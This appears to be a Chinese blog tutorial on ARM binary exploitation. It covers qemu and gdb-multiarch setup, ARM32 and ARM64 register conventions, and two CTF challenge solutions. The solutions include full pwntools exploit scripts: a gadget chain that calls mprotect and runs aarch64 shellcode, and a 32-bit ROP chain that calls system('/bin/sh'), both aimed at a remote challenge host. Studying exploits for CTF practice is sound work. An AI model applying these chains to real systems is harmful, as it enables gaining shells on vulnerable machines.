PWN January 03, 2020

32位、64位下arm_pwn学习

Words count 28k Reading time 25 mins. Read count 0

前言:

pwn的学习之路一直在进行,今天看了arm_pwn,搞环境就搞了半天,琢磨工具使用到做题,这里总结下,希望能帮助到大家,少走一点弯路。

一、环境配置:

环境是一大玄学问题,这里仅仅是 我Ubuntu16.04下的环境配置,亲测有效,但是遇到玄学的问题时,也请留言,努力帮大家解决。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#安装qemu
sudo apt-get install qemu
#sudo apt-get install qemu-user(ubuntu20下命令)
#更新一下
sudo apt-get update
#安装32位的依赖库
sudo apt-get install -y gcc-arm-linux-gnueabi
#运行32位的动态链接程序方法
qemu-arm -L /usr/arm-linux-gnueabi ./文件
#安装64位的依赖库
sudo apt-get install -y gcc-aarch64-linux-gnu g++-aarch64-linux-gnu
#运行64位的动态链接程序方法
qemu-aarch64 -L /usr/aarch64-linux-gnu ./文件
#安装gdb调试工具
sudo apt-get install git gdb gdb-multiarch
#32位程序下断调试步骤
qemu-arm -g 1234 -L /usr/arm-linux-gnueabi ./文件(窗口1)
gdb-multiarch ./文件(窗口2)
pwndbg> target remote :1234
pwndbg> b *0x8bb0
#64位程序下断调试步骤
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./文件(窗口1)
gdb-multiarch ./文件(窗口2)
pwndbg> target remote :1234
pwndbg> b *0x8bb0

运行程序时先用strings看清楚是用什么编译的,确定好ubuntu版本后再下刀!

二、arm汇编基础:

环境起来了,就可以像平时一样分析漏洞打题了,但是还是有不同的地方:

1、arm32只有16个32bit的通用寄存器,r0到r12,lr,pc,sp,函数调用时,前4个参数是压入寄存器的(r0、r1、r2、r3),后面的参数是压入栈中的

2、arm64有32个64bit长度的通用寄存器x0到x30以及sp,函数调用时,前8个参数都是通过寄存器来传递x0到x7

3、用一张图表熟悉常见的arm汇编指令

指令 描述 指令 描述
MOV 移动数据 EOR 按位异或
MVN 移动并取反 LDR 加载
ADD STR 存储
SUB LDM 加载多个
MUL STM 存储多个
LSL 逻辑左移 PUSH 入栈
LSR 逻辑右移 POP 出栈
ASR 算术右移 B 跳转
ROR 右旋 BL Link跳转
CMP 比较 BX 分支跳转
AND 按位与 BLX 使用Link分支跳转
ORR 按位或 SWI/SVC 系统调用

4、举几个常见的汇编代码:

1
2
3
4
5
6
7
8
ldr r0,[r1, #4]     //将内存单元R1+4中的字读取到R0寄存器中,同时R1=R1+4
add r1,r2,#1 //表示r1=r2+1, 即寄存器r1的值等于寄存器r2的值加上1
b、bl //相当于call
BIC R1, R1, #0x0F //将R1 低4位清0
mov r1,#4096 //r1 = 4096
msr cpsr,r0 //复制r0到cpsr中
str r1,[r2,#4] //将r1的数据保存到地址为r2+4的内存单元中
sub r1,r2,#1 //表示r1=r2-1

5、lr、sp、pc三大寄存器

​ 堆栈指针r13(SP):每一种异常模式都有其自己独立的r13,它通常指向异常模式所专用的堆栈,也就是说五种异常模式、非异常模式(用户模式和系统模式),都有各自独立的堆栈,用不同的堆栈指针来索引。这样当ARM进入异常模式的时候,程序就可以把一般通用寄存器压入堆栈,返回时再出栈,保证了各种模式下程序的状态的完整性。

​ 连接寄存器r14(LR):每种模式下r14都有自身版组,它有两个特殊功能。

​ (1)保存子程序返回地址。使用BL或BLX时,跳转指令自动把返回地址放入r14中;子程序通过把r14复制到PC来实现返回,通常用下列指令之一:
​ MOV PC, LR
​ BX LR

​ 通常子程序这样写,保证了子程序中还可以调用子程序。
​ stmfd sp!, {lr}
​ ……
​ ldmfd sp!, {pc}

​ (2)当异常发生时,异常模式的r14用来保存异常返回地址,将r14如栈可以处理嵌套中断。

​ 程序计数器r15(PC):PC是有读写限制的。当没有超过读取限制的时候,读取的值是指令的地址加上8个字节,由于ARM指令总是以字对齐的,故bit[1:0]总是00。当用str或stm存储PC的时候,偏移量有可能是8或12等其它值。在V3及以下版本中,写入bit[1:0]的值将被忽略,而在V4及以上版本写入r15的bit[1:0]必须为00,否则后果不可预测。

如果通俗地理解就是lr=ret地址,sp=rsp,pc=rip

相对的,x30是存放ret地址

arm数据类型与寄存器

image-20200720160343396

ldr和str可以看成load和store

字节序方面同样存在大端序和小端序的问题

arm32中,前16个寄存器r0-r15可在任何特权模式下访问,分为2组,分别是通用寄存器(r0-r12)和专用寄存器(r13-r15)

32位寄存器

​ R0-R12:可在常规操作期间用于存储临时值,指针(到存储器的位置)等,例如:

●R0在算术操作期间可称为累加器,或用于存储先前调用的函数返回结果

●R7在处理系统调用时非常有用,因为它存储系统调用号

●R11帮助我们跟踪用作帧指针的堆栈的边界

●ARM上的函数调用约定指定函数的前四个参数存储在寄存器r0-r3中,剩下的再存入栈中

image-20200720162431138

image-20200720162445588

R13:SP(堆栈指针)。堆栈指针指向堆栈的顶部。堆栈是用于函数特定存储的内存区域,函数返回时将对其进行回收。因此,通过从堆栈指针中减去我们要分配的值(以字节为单位),堆栈指针可用于在堆栈上分配空间。换句话说,如果我们要分配一个32位值,则从堆栈指针中减去4

R14:LR(链接寄存器)。进行功能调用时,链接寄存器将使用一个内存地址进行更新,该内存地址引用了从其开始该功能的下一条指令。这样做可以使程序返回到“父”函数,该子函数在“子”函数完成后启动“父”函数调用

R15:PC(程序计数器)。程序计数器自动增加执行指令的大小。在ARM状态下,此大小始终为4个字节,在THUMB模式下,此大小始终为2个字节。当执行转移指令时,PC保留目标地址。在执行期间,PC在ARM状态下存储当前指令的地址加8(两个ARM指令),在Thumb(v1)状态下存储当前指令的地址加4(两个Thumb指令)。这与x86不同,x86中PC始终指向要执行的下一条指令

32位寄存器

1.当参数少于4个时,子程序间通过寄存器R0R3来传递参数;当参数个数多于4个时,将多余的参数通过数据栈进行传递,入栈顺序与参数顺序正好相反,子程序返回前无需恢复R0R3的值

2.在子程序中,使用R4~R11保存局部变量,若使用需要入栈保存,子程序返回前需要恢复这些寄存器;R12是临时寄存器,使用不需要保存

3.R13用作数据帧指针,记作SP;R14用作链接寄存器,记作LR,用于保存子程序返回时的地址;R15是程序计数器,记作PC

4.ATPCS规定堆栈是满递减堆栈FD;

5.子程序返回32位的整数,使用R0返回;返回64位整数时,使用R0返回低位,R1返回高位

64位寄存器

ARM64位参数调用规则遵循AAPCS64,规定堆栈为满递减堆栈。

寄存器调用规则如下:

image-20200720174745645

在执行压栈和出栈的指令时,通常使用LDMIA/STMDB

​ 但事实上在汇编的过程中,可以看到LDMIA和STMDB指令已转换为PUSH和POP,那是因为 PUSH和STMDB sp!, reglist,POP和LDMIA sp! Reglist是等价的

三、做题实战

1、64位下的arm程序57303912955

可以看到程序除了NX,什么也没有开,ida分析下逻辑:

57303951164

先读0x200字节到bss段中,然后再栈溢出,漏洞点相当简单,既然有读到栈上我们就直接填shellcode然后改写下bss权限为7即可,但是这是在arm的环境下,所以实现起来,相对困难一点点

首先ida直接分析栈偏移是不行的,我们可以通过cyclic去计算出偏移(动态调试一下即可),可以算出偏移为72,

接着我们要栈溢出执行mprotect,这里三个参数都要满足比较辛苦,但是我们可以通过中级栈溢出的方式去得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
text:00000000004008AC loc_4008AC                              ; CODE XREF: sub_400868+60↓j
.text:00000000004008AC LDR X3, [X21,X19,LSL#3] // x3=[x21+x19*8]
.text:00000000004008B0 MOV X2, X22 //x2=x22
.text:00000000004008B4 MOV X1, X23 //x1=x23
.text:00000000004008B8 MOV W0, W24 // w0=w24(低位)
.text:00000000004008BC ADD X19, X19, #1 // x19=x19+1
.text:00000000004008C0 BLR X3 // call x3
.text:00000000004008C4 CMP X19, X20 ;
.text:00000000004008C8 B.NE loc_4008AC // jmp if not equal
.text:00000000004008CC
.text:00000000004008CC loc_4008CC ; CODE XREF: sub_400868+3C↑j
.text:00000000004008CC LDP X19, X20, [SP,#var_s10] ;
//x19=sp+0x10,x20=[sp+0x18]
.text:00000000004008D0 LDP X21, X22, [SP,#var_s20]
//x21=sp+0x20,x22=[sp+0x28]
.text:00000000004008D4 LDP X23, X24, [SP,#var_s30]
//x23=sp+0x30,x24=[sp+0x38]
.text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40 ; Load Pair
//x29=[sp], x30=[sp+8]
.text:00000000004008DC RET //ret [x30]

根据前面学的arm的汇编基础,我们很容易将代码读懂,这里我做了注释,方便看清楚。

好了知道意思后,利用就和elf文件一样,我们控制好参数,写个集成函数即可,这里有个坑点,就是填got表是无法实现调用的,因为arm不太一样,这里我们需要伪造一个mprotect_plt的got表,实现调用,可以将mprotect_plt写到bss上就搞定了,执行完我们再ret我们的shellcode的位置既可,下面上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
bin_elf = './64arm'
context.binary = bin_elf
context.log_level = "debug"

if sys.argv[1] == "r":
p = remote("106.75.126.171",33865)
elif sys.argv[1] == "l":
p = process(["qemu-aarch64", "-L", "/usr/aarch64-linux-gnu/",bin_elf])
else:
p = process(["qemu-aarch64", "-g", "1234", "-L", "/usr/aarch64-linux-gnu/", bin_elf])

elf = ELF(bin_elf)

sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

gadget1 = 0x00004008CC
gadget2 = 0x00004008AC
bss = 0x0000411068
mprotect = 0x000400600
ru("Name:")
shellcode = asm(shellcraft.aarch64.sh())
py = ''
py += p64(mprotect)
py += shellcode
sl(py)

def middle_stackoverlow(offset,x0,x1,x2,function_addr,ret_addr):
py = ''
py += 'a'*offset
py += p64(gadget1)
py += p64(0)
py += p64(gadget2)
py += p64(0)
py += p64(1)
py += p64(function_addr)
py += p64(x2)#x22=x2
py += p64(x1)#x23=x1
py += p64(x0)#24=x0
py += p64(0)
py += p64(ret_addr)
sl(py)

middle_stackoverlow(72,0x411000,0x1000,0x7,bss,bss+8)
p.interactive()
2、32位下的arm程序

57305317411

一样保护几乎没开,ida分析一波:

57305320743

ida静态分析,可能不是很好看,所以进行黑盒测试,直接运行看:

57305339027

可以知道先换行,然后再输入内容,会回显那个英文,还是个循环,没了。

所以关键就是第二次输入,没开canary,猜想是栈溢出的题目,直接cyclic动态调试可以计算偏移:112

同时程序有system和binsh的后门,根据rop,我们pop参数到r0即可实现调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
bin_elf = './arm'
context.binary = bin_elf
context.log_level = "debug"

if sys.argv[1] == "r":
p = remote("106.75.126.171",33865)
elif sys.argv[1] == "l":
p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabi",bin_elf])
else:
p = process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabi", bin_elf])

elf = ELF(bin_elf)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

pop_r0_r4_ret = 0x00020904
binsh = 0x006C384
system_plt = 0x00110B4
ru("if you want to quit")
sl("")
py = ''
py += 'a'*112
py += p32(pop_r0_r4_ret)
py += p32(binsh)
py += p32(0)
py += p32(system_plt)
ru("------Begin------")
sl(py)

p.interactive()

总结:

综上,其实还有种题目是leak出地址,然后再system去getshell,elf文件中很常见的ret2libc,会发现原理都一样其实,arm_pwn只是换汤不换药的一种新题型,掌握汇编原理和漏洞原理就可以做。
0%